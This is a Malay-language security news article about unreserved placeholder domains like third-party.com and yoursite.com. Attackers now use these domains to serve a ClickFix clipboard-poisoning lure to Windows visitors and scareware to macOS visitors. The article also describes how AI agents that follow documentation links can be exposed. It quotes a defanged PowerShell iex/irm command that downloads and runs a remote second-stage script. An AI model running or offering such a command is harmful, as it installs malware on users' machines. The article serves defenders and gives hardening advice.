Domain placeholder kini jadi pelantar malware

Domain placeholder kini jadi pelantar malware

Setiap developer pasti pernah menulis kod yang merujuk third-party.com pada suatu ketika. Ia hostname ringkas yang kita jadikan stand-in untuk "sesetengah perkhidmatan luar" dalam documentation — sama macam peranan example.com. Bezanya cuma satu butiran penting: example.com memang dikhaskan oleh IANA, manakala third-party.com tidak. Ia domain biasa yang boleh dibeli oleh sesiapa sahaja. Dan sekarang, sesiapa itu sudah lakukannya — pelawat yang datang sebagai pengguna Windows kini disajikan dengan ClickFix lure.

Ini kegagalan dalam rantaian bekalan yang tersorok di depan mata. Ia bukan domain pelik yang kebetulan ditemui — carian kod di GitHub menunjukkan domain ini muncul dalam tests dan docs lebih 1,700 repository, termasuk developer docs dalam Chromium, Playwright skill dalam repo Sanity dan unit test dalam Turborepo Vercel. Semua rujukan itu munasabah pada masa ia ditulis. Tiada satu pun yang berubah. Yang berubah ialah apa yang domain itu tunjuk sekarang.

Domain yang docs anda percayakan

Manifold Security terjumpa kes ini masa menyemak public agent skills. Security engineer Swapnil Patil perasan satu skill yang menyebut third-party.com menimbulkan phishing alert — pelik untuk domain placeholder — lalu dia meneliti apa yang domain itu sebenarnya hantar sekarang. Hasil penemuan diterbitkan pada 23 September 2026, dan ia seperti senario paling teruk untuk sesiapa yang menulis documentation:

• third-party.com didaftarkan pada 1996 melalui Network Solutions. Ia menghidangkan ClickFix lure sejak sekurang-kurangnya Jun 2026.
• Ia tiada dalam senarai reserved IANA — tidak seperti example.com, example.org dan example.net yang dilindungi RFC 2606 daripada didaftar sesiapa.
• Setakat penulisan ini, domain itu sudah ditanda sebagai malicious di VirusTotal dan Safe Browsing Google.

Beza antara example.com dan third-party.com hanyalah satu baris dalam registry. example.com dikhaskan supaya documentation boleh menggunakannya selama-lamanya tanpa sesiapa memilikinya. third-party.com nampak seperti placeholder yang dikhaskan, dilayan macam itu merentas ribuan fail — padahal ia domain normal yang bertukar tangan macam domain lain. Infrastrukturnya bertukar tangan, dan kini sesiapa yang menguasainya mewarisi aliran trafik daripada sesiapa yang menyalin contoh itu terlalu teliti, ditambah setiap agent automatik yang memuat turun apa yang dibacanya.

Apa yang "placeholder yang tidak berbahaya" sebenarnya hantar

Bahagian menariknya, respons itu sangat selektif. Manifold menguji domain dari vantage point UK dengan pelbagai user-agent, dan apa yang anda dapat bergantung pada sistem pengendalian yang anda dakwa:

• Pengguna Windows menerima lure penuh: halaman palsu "Performing security verification" yang menyamar sebagai Cloudflare, lengkap dengan checkbox beranimasi dan footer Ray ID untuk kelihatan tulen. JavaScriptnya meracun clipboard melalui hidden textarea dan hijacked copy event, kemudian membimbing mangsa tekan Win+R, Ctrl+V, Enter. Command yang ditanam, selepas membongkar string concatenation yang menyembunyikannya, ialah:

powershell "Write-Host(&{iex(irm('elxxvvx[.]xyz/f'))})2>$null"

irm (Invoke-RestMethod) mengambil script dari second-stage server, iex (Invoke-Expression) melaksanakannya dalam memori, dan 2>$null membuang sebarang error yang mungkin disedari mangsa. Ada string umpan — "Security check, I'm not a robot, Verification ID" dengan nombor enam digit rawak — supaya apa yang mendarat dalam Run box kelihatan seperti captcha token, bukan PowerShell command.

• Pengguna macOS atau Linux menerima halaman yang hampir sama tetapi terhenti pada error: "macOS is not supported. This website requires a Windows PC to access." Tiada clipboard poisoning, tiada payload.

Inilah teknik ClickFix yang bertubi-tubi menyerang Windows tahun ini — mangsa menjadi mekanisme penghantaran. Commandnya menggunakan binary yang ditandatangani dan dipercayai pada setiap mesin Windows, terutamanya PowerShell, jadi tiada executable yang dimuat turun untuk dikesan antivirus.

Ilusi blocklist

Kerana senjata itu hanya muncul apabila anda memintanya sebagai Windows, static check dan reputation feed hampir tidak berguna. Manifold perasan domain ini disenarai sebentar dalam malware blocklist IPFire pada 7 Julai 2026, lalu dibuang pada 17 Julai — checker operator senarai itu meminta halaman dari agent bukan Windows, melihat decoy yang tidak berbahaya, dan menyangka listing awal itu silap. Lure itu sebenarnya hidup sepanjang masa itu.

Itulah skandal dalam satu anekdot: reputation feed hanya setepat permintaan yang dibuatnya. Minta domain ini dari julat datacenter, dari crawler Linux, dari apa-apa yang bukan mangsa yang disasarkan, dan ia menghulurkan halaman yang bersih. Kata Manifold:

You can scan the skill, read the file, resolve the domain from your analysis box, and conclude it is fine, and be completely wrong about what a Windows user's agent receives when it follows the same link. A file scan cannot see what a website decides to send. The tell only appears at request time, from the caller that matters.

Sudut agent: masalah curl | bash, dengan topi yang berbeza

Kerja Manifold sebelum ini tentang curl | bash dan AI agents berhujah bahawa risiko sebenar apabila agent mengambil sesuatu dari internet bukanlah fail yang dipasang — tetapi URL dalam manifest adalah janji yang boleh dimungkiri oleh server bila-bila masa. third-party.com adalah bentuk yang sama di hujung paip yang lain, dan ia lebih teruk kerana rujukannya lebih statik daripada dependency: ia placeholder documentation, jenis string yang tiada siapa anggap sebagai dependency langsung.

Sekarang darabkan dengan ekonomi agent. AI agent skills dan MCP-server docs adalah tepat jenis kandungan yang memetik third-party.com sebagai example endpoint — dan agent skills adalah input kepada agent. Agent yang berdepan Windows membaca skill, mengumpul URL dari documentation, lalu memuat turunnya, akan memuat turun payload ClickFix yang hidup. Dalam corpus Manifold sendiri ada skill yang benar-benar lazy-load third-party.com/widget.js terus dari dokumentasinya sebagai stand-in "third-party script". Ini kelas kegagalan yang sama dengan pendaftaran semula domain CDN yang mati yang kami liput minggu lepas, dan ia bersambung terus dengan agent tooling yang diracun: sempadan kepercayaan ialah apa jua teks yang akan dibaca dan dituruti oleh agent.

Bukan satu domain — satu kelas

Di sinilah cerita ini mula tidak selesa. Dalam laporan susulan pada 24 September, Manifold mengenal pasti tiga belas lagi domain placeholder yang tidak dikhaskan IANA — yourdomain.com, yoursite.com, your-domain.com, your-site.com, your-app.com, yourapp.com, myapp.com, mysite.com, acme.com, company.com, mycompany.com, vendor.com dan foo.com. Static check meluluskan kesemua tiga belas. Tetapi dua daripadanya — yoursite.com dan your-domain.com — menghidangkan scam kepada pelawat macOS melalui apa yang kelihatan seperti iklan parking page biasa:

• your-domain.com memaparkan "MacOS Security Center" palsu yang mendakwa ada empat virus dan menjual renewal McAfee tiruan dengan diskaun 55%, serta artikel BBC News palsu yang mengiklankan skim pelaburan.
• yoursite.com memaparkan artikel ZDFheute palsu — dibina di sekeliling konfrontasi talk-show antara dua ahli politik Jerman yang tidak pernah berlaku — untuk menjual skim pelaburan.

Antara kedua-duanya, domain itu muncul dalam lebih 350,000 fail GitHub dan kira-kira 350 agent skills dalam corpus Manifold. Penyamaran hanya tercetus selepas JavaScript halaman berjalan, satu hop lagi di host lain, jadi fetch teks langsung tidak nampak — apa sahaja User-Agent yang anda hantar. Rantaian keluar pula adalah affiliate lead-generation sepenuhnya: scareware menggiring mangsa ke langganan McAfee sebenar dan seseorang dapat komisen untuk setiap satu, jadi scanner yang mengikuti rantaian itu ke hujung akan mendarat di laman sebenar McAfee.

Kalau diukur dari bilangan rujukan, insiden ClickFix sebenarnya yang kecil. Domain scareware membawa exposure yang jauh lebih besar. Seperti kata penyelidik Manifold, Cody Nash: "Scareware and investment fraud are a lower threat than clipboard malware, the exposure they ride on is far larger, and none of it showed up in any static check we ran."

Apa yang perlu dilakukan sebelum anda menyesal

Tiga perubahan, tanpa perlu tooling yang canggih:

1. Guna reserved placeholder sahaja. example.com, example.org dan example.net wujud untuk tujuan sebeginilah — dokumentasi example-domain IANA menerangkannya dengan jelas. Kalau anda perlukan host kedua yang berbeza, guna salah satu siblings mereka, bukan domain berbau munasabah yang anda tidak miliki.
2. Audit apa yang sudah anda hantar. Periksa docs, skills, MCP configs, README dan test fixtures anda untuk third-party.com dan kelas lookalike — yourcompany.com, mycompany.com, your-api.com, dan seumpamanya. Semak mana yang benar-benar didaftar dan hidup. Jika skill atau test yang anda terbitkan mem-hardcode placeholder yang tidak dikhaskan, kini ia menghalakan pembaca — dan agent pembaca — ke tempat yang anda tidak kawal.
3. Jangan letak domain hidup dalam allowlist untuk menyenyapkan scanner, dan jangan buat liveness check dari shared infrastructure. Domain yang anda tidak kawal tidak sepatutnya berada dalam senarai known-good, kerana apabila kandungannya bertukar, allowlist anda yang akan melalukannya. Malah probe liveness yang menjangkau infrastruktur penyerang dari IP ruang korporat anda adalah exposure sebenar.

Ada corak lebih luas yang penyelidikan prompt injection asyik kembali kepada: sebaik agent melaksanakan apa yang documentation suruh, setiap string dalam documentation itu menjadi permukaan serangan. third-party.com adalah contoh paling bersih setakat ini — string yang duduk tidak berbahaya dalam ribuan repo selama bertahun-tahun, kemudian mula menunjuk ke infrastruktur penyerang tanpa sebarang perubahan pada repo. Pointer kekal sama. Yang ditujunya menjadi bermusuhan. Periksa estate anda hari ini, selagi ia masih kisah pengajaran dan bukannya insiden.

Sumber

• Manifold Security: The third-party.com domain is serving a ClickFix lure to Windows users
• Manifold Security: Over 350,000 GitHub files cite placeholder domains serving scams
• The Hacker News: Placeholder third-party[.]com Referenced Across 1,700+ Repositories Now Serves Malicious Content
• Internet Assigned Numbers Authority: IANA — Reserved Example Domains
• IETF: RFC 2606 — Reserved Top Level DNS Names
• Manifold Security: What to think about curl | bash now that AI agents run it
• U.S. Federal Trade Commission: How to spot a CAPTCHA scam